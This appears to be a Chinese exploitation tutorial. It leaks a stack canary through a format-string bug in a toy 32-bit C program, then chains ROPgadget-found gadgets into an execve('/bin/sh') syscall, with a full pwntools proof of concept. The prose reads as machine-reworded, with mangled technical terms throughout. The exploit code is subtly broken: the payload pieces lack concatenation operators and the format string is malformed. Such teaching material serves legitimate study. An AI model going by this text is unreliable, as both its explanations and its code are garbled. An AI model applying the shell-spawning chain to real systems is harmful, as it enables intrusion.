关键词:目录|文章

ropgadgets与ret2syscall技术性基本原理时

  • 时间:
  • 浏览:27

文章目录

0×01 前言 0×02 找详细地址 0×03 结构rop链 0×04 写成poc 0×05 小结

0×01 前言

我们在学ropgadgets与ret2syscall技术性基本原理时,结构指令流时,是沒有加堆栈维护的,例如下边的程序流程:

文件夹名称:7.c

#include #include #include #include #include void exploit(){ system("/bin/sh");}void func(){char str[0x20];read(0,str,0x50);printf(str);read(0,str,0x50);}int main(){func();return 0;}

我们都是那样编译器的,是沒有加堆栈维护的,以后再运用ropgadgets结构指令流,就可以取得成功去实行execve(“/bin/sh”,null,null);。

gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c

假如再加堆栈维护大家我该何去何从呢?像下边那样编译器:

gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c

显而易见大家就不可以像原先一样结构指令流了,由于添加了堆栈维护。那大家应该怎么办呢?我们可以运用备份輸出,将canary复印出去,随后再开展命令的拼装。

0×02 找详细地址

调节大家的程序流程,寻找canary的详细地址,详细地址在:0xffffcfac

再次调节,直至printf,大家看一下如今canary据栈顶的部位:0060,除于4相当于15,表明发送给第一个read涵数的数值:$08x,就可以将canary复印出来

再次调节,寻找read涵数把读进去的数据信息储放的详细地址:0xffffcf8c

将$08x给read涵数,发觉能够将canary复印出去

接下去便是运用好第二个read涵数来结构rop链了

0×03 结构rop链

linux上系统进程基本原理:

eax 系统进程号

ebx 第一个主要参数 

ecx 第二个主要参数 

edx 第三个主要参数 

esi 第四个主要参数 

edi 第五个主要参数 

int 0×80

因此eax就储放execve函数的系统进程号11,ebx储放第一个主要参数/bin/sh,ecx储放第二个主要参数null,就是0,edx储放第三个主要参数,也是0

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"

详细地址用:0x080b8546

ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

详细地址为:0x0806f210 

ROPgadget --binary ./7.exe --string "/bin/sh"

详细地址用:0x080bbd80 

ROPgadget --binary ./7.exe --only "int"|grep "0x80"

详细地址为:0x0806ce37

0×04 写成poc

from pwn import *context(arch="i386",os="linux")p=process('./7.exe')p.sendline("$08x")canary=p.recv()[:8]print(canary)canary=canary.decode("hex")[::-1]coffset=4*8roffset=3*4add_eax=p32(0x080b8546)value_eax=p32(0xb)add_edx_ecx_ebx=p32(0x0806f210)value_ebx=p32(0x080bbd80)value_ecx=p32(0)value_edx=p32(0)add_int=p32(0x0806ce37)payload=coffset*'a' canary roffset*'a' add_eax value_eax add_edx_ecx_ebx value_edx value_ecx value_ebx add_intp.sendline(payload)p.interactive()

从from pwn import *到canary=canary.decode(“hex”)[::-1]全是以便找到canary,由于加了堆栈维护,我们不能立即把数据信息打进到堆栈中,因此要先找到canary,随后结构payload,我们要把canary加进,过堆栈维护,再在后面再加大家的rop链。

实行取得成功

0×05 小结

打开了堆栈维护,添加了cookie,一旦大家毁坏了堆栈,会造成系统保护,发现异常。可是大家還是必须结构大家的指令流,我们可以运用备份輸出,将canary复印出去,接下去我们可以运用读写能力涵数,结构一个指令流,大家先到读,看一下堆栈的canary在哪儿,随后大家canary搞出去,把canary再回填土进来,开展拼装,那样就即能够过堆栈维护,还可以结构大家的指令流了。

*文中创作者:努力学习er,转截请标明来源于FreeBuf.COM

猜你喜欢